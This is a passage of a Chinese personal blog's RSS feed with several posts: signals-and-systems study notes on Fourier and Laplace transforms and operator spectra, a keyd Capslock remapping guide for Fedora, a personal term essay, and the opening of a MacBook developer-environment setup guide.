&lt;p&gt;$$
&amp;lt;x(t), y(t)&amp;gt; = \int_{-\infty}^{\infty} x(t)y^*(t) dt
$$&lt;/p&gt;
&lt;p&gt;想找到两个函数空间之间的映射关系, 只要找到两个空间各自的正交基是什么.&lt;/p&gt;
&lt;p&gt;对于 $x(t)$ 领域, 正交基实际上是 $\delta(t)$, 因为不同时间上的函数值完全没有干涉, 换句话说只在一个点取值.&lt;/p&gt;
&lt;p&gt;对于 $X(s)$ 领域, 正交基我们现在实际上没有什么头绪. 可以通过微分方程的解的形式猜到可能是 $e^{st}$, 但这个思维是跳跃的.&lt;/p&gt;
&lt;p&gt;如何考虑下一步要研究什么呢?&lt;/p&gt;
&lt;h2 id="思考所有的线性常微分方程-由-t-到-s"&gt;思考所有的线性常微分方程: 由 t 到 s
&lt;/h2&gt;&lt;p&gt;我们思考所有的线性常微分方程&lt;/p&gt;
&lt;p&gt;$$
\sum_{i=1}^{n=\infty} C_i \frac{d^i y}{dt^i} = \sum_{i=1}^{n=\infty} D_i \frac{d^i x}{dt^i}
$$&lt;/p&gt;
&lt;p&gt;我们研究的对象是所有的线性常微分方程时, 我们讨论的自变量其实不再是 $y(t)$ 或者说 $t$&lt;/p&gt;
&lt;p&gt;我们的自变量变成了微分方程的&lt;strong&gt;系数和阶数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;而 $s$ 我们刚刚知道是关于系数和阶数的多项式, $s$ 由多项式定理可知会覆盖整个复平面.&lt;/p&gt;
&lt;p&gt;$s$ 应当也可以作为一个自变量被讨论&lt;/p&gt;
&lt;p&gt;思考:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;为什么这里想到我们应该回去思考所有的线性常微分方程?&lt;/li&gt;
&lt;li&gt;发现 $s$ 可以稠密覆盖整个复平面时, 为什么想到 $s$ 可以被作为自变量?&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="est-的振荡-频率"&gt;e^st 的振荡: 频率
&lt;/h2&gt;&lt;p&gt;观察 $s$ 在不同取值时的 $e^{st}$ 的特性, 发现有振荡和不振荡两种情况. 为什么会出现振荡?&lt;/p&gt;
&lt;p&gt;$$
e^{\alpha + j\omega t} = e^{\alpha t}(\cos{\omega t} + j\sin{\omega t})
$$&lt;/p&gt;
&lt;p&gt;用欧拉公式理解, 我们发现了振荡的原因是 $s$ 的虚部, 而 $s$ 的实部控制了 $e^{st}$ 的幅值变化.&lt;/p&gt;
&lt;p&gt;由此我们才能定义出频率是什么.&lt;/p&gt;
&lt;h2 id="傅里叶分析"&gt;傅里叶分析
&lt;/h2&gt;&lt;p&gt;我们好奇的是 $e^{st}$ 的振荡特征. 因此我们现在只看导致它产生振荡的虚部, 即: $e^{j\omega t}$&lt;/p&gt;
&lt;h3 id="傅里叶级数"&gt;傅里叶级数
&lt;/h3&gt;&lt;p&gt;我们发现:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;三角函数似乎是世界的一种基本量&lt;/li&gt;
&lt;li&gt;不同频率的正弦波似乎不会相互干扰&lt;/li&gt;
&lt;li&gt;就像把写成泰勒展开一样, 似乎周期信号可以写成多个正弦波的叠加&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;由 2, 不相干 -&amp;gt; 正交 -&amp;gt; 点积为 0&lt;/p&gt;
&lt;p&gt;我们给不同的正弦波定义点积:&lt;/p&gt;
&lt;p&gt;$$
f_1 \cdot f_2 = \int_{0}^{T} f_1(t)f_2(t) dt
$$&lt;/p&gt;
&lt;p&gt;这里和上面想到的函数内积不太一样, 我们没有复数, 只是周期函数, 没必要讨论共轭.&lt;/p&gt;
&lt;p&gt;$$
f_1(t) = \cos{n \omega_0 t}, \quad f_2(t) = \cos{m \omega_0 t} \newline
\int_{0}^{T} \cos{n \omega_0 t} \cos{m \omega_0 t} \ dt =
\int_{0}^{T} \frac{1}{2} (\cos{(n+m) \omega_0 t} + \cos{(n-m) \omega_0 t}) \ dt
$$&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;公式:&lt;/p&gt;
&lt;p&gt;$$
f(t) = \sum_{n=-\infty}^{+\infty} D(m) e^{j m \omega_0 t}\newline
D(m) = \frac{1}{T} \int_{0}^{T} f(t) e^{-j m \omega_0 t}
$$&lt;/p&gt;
&lt;h3 id="傅里叶变换"&gt;傅里叶变换
&lt;/h3&gt;&lt;p&gt;考虑非周期信号, 实际上非周期信号可以被看作是周期为无穷的周期信号.&lt;/p&gt;
&lt;p&gt;$$
X(j\omega) = \int_{-\infty}^{\infty}x(t)e^{-j\omega t} \ dt \newline
x(t) = \frac{1}{2\pi} \int_{-\infty}^{\infty} X(j\omega) e^{j\omega t} \ dt
$$&lt;/p&gt;
&lt;h3 id="对偶性"&gt;对偶性
&lt;/h3&gt;&lt;p&gt;如果 时域的 f(t) 对应到频域的 F(w), 那么时域的 F(t) 对应到 f(w),&lt;/p&gt;
&lt;h2 id="拉普拉斯变换-带上实部"&gt;拉普拉斯变换: 带上实部
&lt;/h2&gt;&lt;p&gt;傅里叶变换在积分之后形式显得丑陋, 其实暗示了它是不完备的. 我们知道为什么不完备, 我们没有考虑实部.&lt;/p&gt;
&lt;p&gt;带上实部之后就有了拉普拉斯变换.&lt;/p&gt;
&lt;p&gt;$$
F(s) = \mathcal{L} { f(t) }
= \int_{0}^{\infty} f(t) e^{-st} \ dt
$$&lt;/p&gt;
&lt;p&gt;$$
f(t) = \mathcal{L}^{-1}{F(s)}
= \frac{1}{2\pi j}
\int_{\gamma -j\infty}^{\gamma + j\infty}
F(s)e^{st} \ ds
$$&lt;/p&gt;
&lt;h2 id="再次思考微分方程-微分方程的完全解"&gt;再次思考微分方程: 微分方程的完全解
&lt;/h2&gt;&lt;h2 id="引入算子视角"&gt;引入算子视角
&lt;/h2&gt;&lt;p&gt;我们已经定义了 LTI 系统。&lt;/p&gt;
&lt;p&gt;问题： 用微分方程 $y′′(t)+ay′(t)+by(t)=x(t)$ 描述系统太笨重了。&lt;/p&gt;
&lt;p&gt;微分方程和差分方程如果不把 $D$（微分/差分）看作运算，而看作一个对象（算子），那么系统 $H$ 就是基础算子 $D$ 的有理函数 Rational Function&lt;/p&gt;
&lt;p&gt;抽象： 引入微分算子 $D$ ,方程变成 $(D^+aD+b)y=x$。&lt;/p&gt;
&lt;p&gt;定义系统算子： $H=\frac{1}{D^2+aD+b}$ 即，系统是基础算子 D 的有理函数&lt;/p&gt;
&lt;h2 id="算子代数-系统的本质"&gt;算子代数, 系统的本质
&lt;/h2&gt;&lt;p&gt;我们能不能像操作代数式一样操作 $D$ 和 $H$?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;算子的代数结构 (交换律,结合律)：
&lt;ol&gt;
&lt;li&gt;为了像操作数一样操作系统（串联、并联），必须定义算子的加法和乘法。&lt;/li&gt;
&lt;li&gt;必须证明算子满足交换律（$H\cdot D=D\cdot H$）和结合律($D\cdot D = D^2$)。&lt;/li&gt;
&lt;li&gt;证明: 只有在 LTI 下，算子才满足交换律。正因为系统是 时不变 (TI) 的，系统算子 H 才能和延时/微分算子 D 交换.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="特征函数和谱"&gt;特征函数和谱
&lt;/h2&gt;&lt;p&gt;回到初衷, 解微分方程太难，我们想把“卷积/微分”变成“乘法”&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;因为算子满足交换律（特别是与微分/移位算子可交换），根据线性代数, 可交换矩阵拥有共同的&lt;strong&gt;特征向量&lt;/strong&gt;，系统算子 $H$ 必然共享基础算子 $D$ 的&lt;strong&gt;特征函数&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;$D$（微分）的特征函数是 $e^{st}$ ；$D$（差分）的特征函数是 $z^n$ (想到等比数列)。&lt;/li&gt;
&lt;li&gt;特征值&lt;/li&gt;
&lt;li&gt;因此，$e^{st}$ 和 $z^n$ 也就成了整个 LTI 系统分别在连续和离散领域的特征函数。这是拉普拉斯变换和 Z 变换存在的根本原因。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="什么是算子谱"&gt;什么是算子谱
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;线性代数的类比&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;矩阵是有限维空间上的线性算子。&lt;/li&gt;
&lt;li&gt;矩阵的特征值构成的集合，&lt;del&gt;叫&amp;quot;&lt;strong&gt;谱&lt;/strong&gt;&amp;quot;&lt;/del&gt;。有且只有无限连续才能叫谱, 这里不应该叫谱&lt;/li&gt;
&lt;li&gt;如果 $Av=λv$，输入向量 v 经过矩阵变换后，方向不变，只伸缩了 $λ$ 倍。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;推广到函数空间(泛函分析)&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;系统 $H$ 是无穷维函数空间上的线性算子。&lt;/li&gt;
&lt;li&gt;信号 $f(t)$ 是这个空间里的向量。&lt;/li&gt;
&lt;li&gt;我们需要寻找一种信号，通过系统后，波形（“方向”）不变，只有幅度/相位（“长度”）发生了变化。即：$H{f(t)}=λ⋅f(t)$。&lt;/li&gt;
&lt;li&gt;这种信号就是特征函数（$e^{st}$）。&lt;/li&gt;
&lt;li&gt;对应的 $λ$（也就是系统对该频率信号的增益），构成了系统的谱。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;结论 系统的“频率响应”或者“传递函数” 即 $H(s)$ 或 $H(jω)$，本质上就是系统算子的“谱”。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;LTI 的情况下, 谱定理保证了：任何 LTI 系统都可以分解为一系列特征函数（正弦波/指数波）的加权叠加。处理信号变成了处理这些特征值（谱）。&lt;/p&gt;
&lt;h2 id="分析离散从函数到数列"&gt;分析离散（从函数到数列）
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;离散化的动机： 计算机只能处理离散信号（数组）&lt;/li&gt;
&lt;li&gt;采样的本质
&lt;ol&gt;
&lt;li&gt;时域：连续信号 x(t) 乘以周期冲击串&lt;/li&gt;
&lt;li&gt;频域: 时域相乘等于频域卷积。连续信号的频谱与冲击串的频谱（也是冲击串）卷积 → 导致原频谱的周期延拓
&lt;ol&gt;
&lt;li&gt;混叠(延拓部分发生重叠)&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;频率的定义从模拟到数字频率 $\omega = \Omega T$&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="幺正算子"&gt;幺正算子
&lt;/h2&gt;&lt;p&gt;如果 $&amp;lt;x(t), y(t)&amp;gt; = &amp;lt;T{x(t)}, T{y(t)}&amp;gt; $ 那么 $T T^* = I$ 且 $T^* = T^{-1}$&lt;/p&gt;
&lt;p&gt;令 $x(t) = y(t)$, $&amp;lt;x(t), x(t)&amp;gt; = |x(t)|^2$, 定义算子内积:&lt;/p&gt;
&lt;p&gt;$$&lt;/p&gt;</description></item><item><title>使用 keyd 在 fedora 修改 Capslock 长按短按触发信号</title><link>https://v3n0.com/post/2026/keyd-capslock-tap-hold-fedora/</link><pubDate>Sun, 18 Jan 2026 00:21:27 +0800</pubDate><guid>https://v3n0.com/post/2026/keyd-capslock-tap-hold-fedora/</guid><description>&lt;img src="https://v3n0.com/post/2026/keyd-capslock-tap-hold-fedora/image.png" alt="Featured image of post 使用 keyd 在 fedora 修改 Capslock 长按短按触发信号" /&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&lt;del&gt;变成 macOS 的形状了.&lt;/del&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dnf copr &lt;span class="nb"&gt;enable&lt;/span&gt; -y alternateved/keyd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dnf install keyd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mkdir -p /etc/keyd/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo vim /etc/keyd/default.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;修改配置如下:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ids]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[main]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# timeout(A, 250, B) 的意思是：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 如果按住小于 250ms，触发 A (f14)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 如果按住大于 250ms，触发 B (caslock)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;capslock = timeout(f14, 250, capslock)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;启动 keyd 系统服务&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; --now keyd.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后可以在 fcitx5 设置输入法切换为 f14.&lt;/p&gt;
&lt;p&gt;如果需要修改 keyd 配置, 修改后可以不必重启服务, 而是:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo keyd reload
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>关于大二上的随笔 - 1</title><link>https://v3n0.com/post/2026/third-term-of-college-1/</link><pubDate>Thu, 08 Jan 2026 15:06:53 +0800</pubDate><guid>https://v3n0.com/post/2026/third-term-of-college-1/</guid><description>&lt;p&gt;大二上发生了太多事情，又把自己变得很忙碌。这篇随笔本来想元旦写的，又拖了很久。意识到随笔应当写的更加随意一点，抱着一种反正没人看的态度写，要不然就永远都不会发布。&lt;/p&gt;
&lt;p&gt;总结一下我和几个月前相比，做了什么新的事情：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;尝试做直播形式的后端导论课&lt;/li&gt;
&lt;li&gt;尝试做文档形式的后端教程，但只列了一个大纲，因为没时间而被搁置。&lt;/li&gt;
&lt;li&gt;新接了个外包，接入 Stripe 支付系统（没时间的原因之一）&lt;/li&gt;
&lt;li&gt;重构一个大型 Python 应用&lt;/li&gt;
&lt;li&gt;高强度 Python 应用加密和基于硬件的 license&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关于教程，感到自己或许有适合做教程的潜质，希望后面发掘一下。关于后端教程，只是搁置，没有弃坑。&lt;/p&gt;
&lt;p&gt;关于 Python。本来以为能成功交接项目给后人，不用再写 Python。但发现找到后人有点困难，不得不自己继续维护。应用体量大，又想保证合理的代码架构和可维护性，逐渐总结出自己的一套 Python 应用的开发习惯。Python 的语法太狂野了，类似的东西有 N 种写法，难以在团队中统一，几乎完全依靠团队的文档和代码审查。下定决心接下来绝对不想再写 Python 了。&lt;/p&gt;
&lt;p&gt;关于学习如何写出可维护的代码。如果早知道 Paramer 这个项目体量会这么大的话，一开始我就不会选 Python 了。但这也是事后诸葛亮的说法，当时只会考虑快速验证快速交付。项目架构失控之后决定重构，这一版合理的架构，稳定增加功能，结构良好至今，没有什么地方是不敢动的老代码。其实发现自己是在不断压制 Python 的自由度，不断审查 AI 的代码和别人的代码，写合理的架构文档，完全把 Python 当成一个严格的语言去写，几乎完全是靠架构意识去规范自己，不断强化自己的思维。也许算是因祸得福？&lt;/p&gt;
&lt;p&gt;随笔其一，可能想到的基本是技术方面的东西。&lt;/p&gt;</description></item><item><title>Macbook 上手 - 基础使用和开发环境搭建</title><link>https://v3n0.com/post/2025/my-macbook-startup/</link><pubDate>Mon, 10 Nov 2025 02:00:00 +0800</pubDate><guid>https://v3n0.com/post/2025/my-macbook-startup/</guid><description>&lt;img src="https://v3n0.com/post/2025/my-macbook-startup/image.png" alt="Featured image of post Macbook 上手 - 基础使用和开发环境搭建" /&gt;&lt;p&gt;入手了 Macboook Air M4，感觉是受益非常大的一次购买。&lt;/p&gt;
&lt;p&gt;此前习惯使用的开发环境是，台式机 + x86笔记本的 Archlinux。主要痛点有两个。&lt;/p&gt;
&lt;p&gt;一是续航问题，也是最大的痛点。宿舍环境并不适合工作，因此我从起床到踩着门禁回宿舍基本不想呆在宿舍。经常的情况是，上课上一半电脑没电，只能听课。或者电脑没电，被迫回宿舍用台式，耳边是舍友游戏，同时还得时刻听网课等签到码，这种情况下其实根本无法专注开发。尝试使用平板串流回宿舍，但网络波动严重。使用平板 termux + neovim，配置太折腾，且最终体验并不好，不希望大部分时间用来配置环境而不是用来开发。&lt;/p&gt;
&lt;p&gt;二是环境问题。Archlinux 包管理器的确方便。但不管怎样我仍然承担太多关于我自己的电脑系统运维和配置的任务，需要关注各种开发无关的事情，诸如 KDE 桌面可能滚炸，某个驱动不能直接 Syu 需要另外配置等等。只要出现一次桌面滚炸，往往意味着一个整个下午甚至更长时间都不能用于开发而是修环境，意味着延误开发进度，如果正逢 DDL，那么就死了。Archlinux 更适合有大量空闲时间可以用来精心配置自己的系统的人。Nix 这一套其实可能不错，但感觉上手需要大量时间，配置同样又要时间。有考虑过从 Archlinux 切换到 Fedora，但这同样需要我花时间，用于数据备份，重装系统，重新配置整个环境。&lt;/p&gt;
&lt;p&gt;Macbook Air 解决了我两个最大的痛点。&lt;/p&gt;
&lt;p&gt;本文记录了入手 Macbook 之后，我怎样搭建了我的开发环境，把它变成了一台生产力机器。&lt;/p&gt;
&lt;h2 id="桌面操作和配置"&gt;桌面操作和配置
&lt;/h2&gt;&lt;h3 id="触控板操作"&gt;触控板操作
&lt;/h3&gt;&lt;p&gt;设置中搜索“触控板手势”看到所有的触控板操作。&lt;/p&gt;
&lt;p&gt;很喜欢 macOS 的全屏应用管理。三指上滑调度中心，左右横扫切换全屏应用，比较舒适。&lt;/p&gt;
&lt;h3 id="键盘"&gt;键盘
&lt;/h3&gt;&lt;p&gt;macOS 中的 control, option, command 逻辑大致是：&lt;/p&gt;
&lt;p&gt;Command (⌘)：在 macOS 里是主修饰键。你在 Windows/Linux 里平常用 Ctrl+C / Ctrl+V，到了 mac 上就是 ⌘C / ⌘V。所以 语义角色 上 Command ≈ Ctrl（别的系统的）。&lt;/p&gt;
&lt;p&gt;Control (⌃)：是更底层的控制信号键，确实就是发 Ctrl 字符给终端那种。在 shell 或 vim 里，Ctrl+A / Ctrl+E 就是走 Emacs 控制序列那一套。&lt;/p&gt;
&lt;p&gt;Option (⌥)：等价于 Alt。区别在于它默认还参与输入法（比如打出特殊符号或中文输入法的候选），在终端里要当作真正的 Alt 用，需要在终端设置里打开 “Use Option as Meta key”。&lt;/p&gt;
&lt;p&gt;这样的划分其实很不错，Shell 里 Ctrl+C 不会和 ⌘C 打架。&lt;/p&gt;
&lt;h4 id="输入法"&gt;输入法
&lt;/h4&gt;&lt;p&gt;添加输入法和更改其设置，选取苹果菜单  &amp;gt;“系统设置”，然后点按边栏中的“键盘” 。（你可能需要向下滚动。）前往“文字输入”，然后点按“编辑”。&lt;/p&gt;
&lt;h4 id="快捷键"&gt;快捷键
&lt;/h4&gt;&lt;p&gt;设置 -&amp;gt; 键盘 -&amp;gt; 键盘快捷键&lt;/p&gt;
&lt;p&gt;可以在其中看看 macOS 的窗口管理操作快捷键。&lt;/p&gt;
&lt;h4 id="fn-lock"&gt;fn lock
&lt;/h4&gt;&lt;p&gt;键盘快捷键 -&amp;gt; 将 F1, F2 等用作标准功能键&lt;/p&gt;
&lt;p&gt;开启后调整亮度等需要按住 fn + f1。&lt;/p&gt;
&lt;h4 id="fn-切换输入法中英-改为-capslock"&gt;fn 切换输入法，中/英 改为 Capslock
&lt;/h4&gt;&lt;p&gt;默认 fn 键是打开表情符号选单。我喜欢让它变为更改输入法，作为一个单独按键，不管怎样都不会和 shift，ctrl，ctrl+space(VSCode 的补全) 这三个其他软件常用的快捷键打架了，属于是我在 Windows 上没能解决的一个问题。 打开表情选单使用&lt;code&gt;⌘ ⇧ .&lt;/code&gt;（使用 Raycast）&lt;/p&gt;
&lt;p&gt;键盘 -&amp;gt; 键盘快捷键 -&amp;gt; 输入法，将“选择上一个输入法”和“选择‘输入法’菜单中的下一个输入法”取消勾选。&lt;/p&gt;
&lt;p&gt;键盘 -&amp;gt; 按下 fn 键时 -&amp;gt; 更改输入法。&lt;/p&gt;
&lt;p&gt;键盘 -&amp;gt; 文字输入 -&amp;gt; 输入法 -&amp;gt; 编辑 -&amp;gt; 所有输入法 -&amp;gt; 使用 中/英 键切换 ABC 输入法&lt;/p&gt;
&lt;p&gt;这里的逻辑其实是，fn 键切换 ABC 和 拼音，而在拼音输入法中，按下中英键仍然切换中英文，但是这是在中文输入法中输入英文。&lt;/p&gt;
&lt;h2 id="包管理"&gt;包管理
&lt;/h2&gt;&lt;p&gt;使用 &lt;a class="link" href="https://brew.sh/" target="_blank" rel="noopener"
&gt;Homebrew&lt;/a&gt;。macOS 上最方便的包管理器，我的软件安装几乎完全由它完成，没有使用过 app store。&lt;/p&gt;
&lt;p&gt;macOS 上还可以使用 nix 包管理器，等到有闲工夫折腾的时候试试迁移到上面。&lt;/p&gt;
&lt;p&gt;⌘ + Space 打开终端&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/bin/bash -c &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;以后基本上只要 &lt;code&gt;brew install&lt;/code&gt;, &lt;code&gt;brew upgrade&lt;/code&gt;, &lt;code&gt;brew search&lt;/code&gt;就行。&lt;/p&gt;
&lt;h2 id="安装字体"&gt;安装字体
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew install font-jetbrains-mono-nerd-font
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="开发环境"&gt;开发环境
&lt;/h2&gt;&lt;h3 id="macos-的文件系统"&gt;macOS 的文件系统
&lt;/h3&gt;&lt;p&gt;macOS 和 linux 都是 Unix，但区别其实还是有挺多。列出几点。&lt;/p&gt;
&lt;h4 id="大小写敏感"&gt;大小写敏感
&lt;/h4&gt;&lt;p&gt;默认 macOS（APFS）是不区分大小写的，foo.txt 和 Foo.txt 是同一个文件，所以代码库如果有类似文件名（尤其前端资源、模块名），在 macOS 上可能不会报错，但在 Linux 部署就炸。&lt;/p&gt;
&lt;h4 id="ds_store"&gt;.DS_Store
&lt;/h4&gt;&lt;p&gt;Finder 会在每个目录下生成 .DS_Store 文件，用于存储该目录的显示设置等信息。如果不想让 git 提交这些文件，可以在全局 gitignore 里添加一行 &lt;code&gt;.DS_Store&lt;/code&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git config --global core.excludesfile ~/.gitignore_global
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;.DS_Store&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; ~/.gitignore_global
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;总之就是不要用 Finder，这个东西防不胜防。&lt;/p&gt;
&lt;h4 id="符号链接与文件元信息"&gt;符号链接与文件元信息
&lt;/h4&gt;&lt;p&gt;macOS 文件系统支持&amp;quot;扩展属性(xattrs)&amp;quot; 与&amp;quot;资源分叉resource fork&amp;quot;，一些工具(尤其是 Finder)会携带 &lt;code&gt;._filename&lt;/code&gt; 的元文件。&lt;/p&gt;
&lt;p&gt;使用 macOS 的 Finder 压缩一个文件夹：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;foo/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── bar.txt
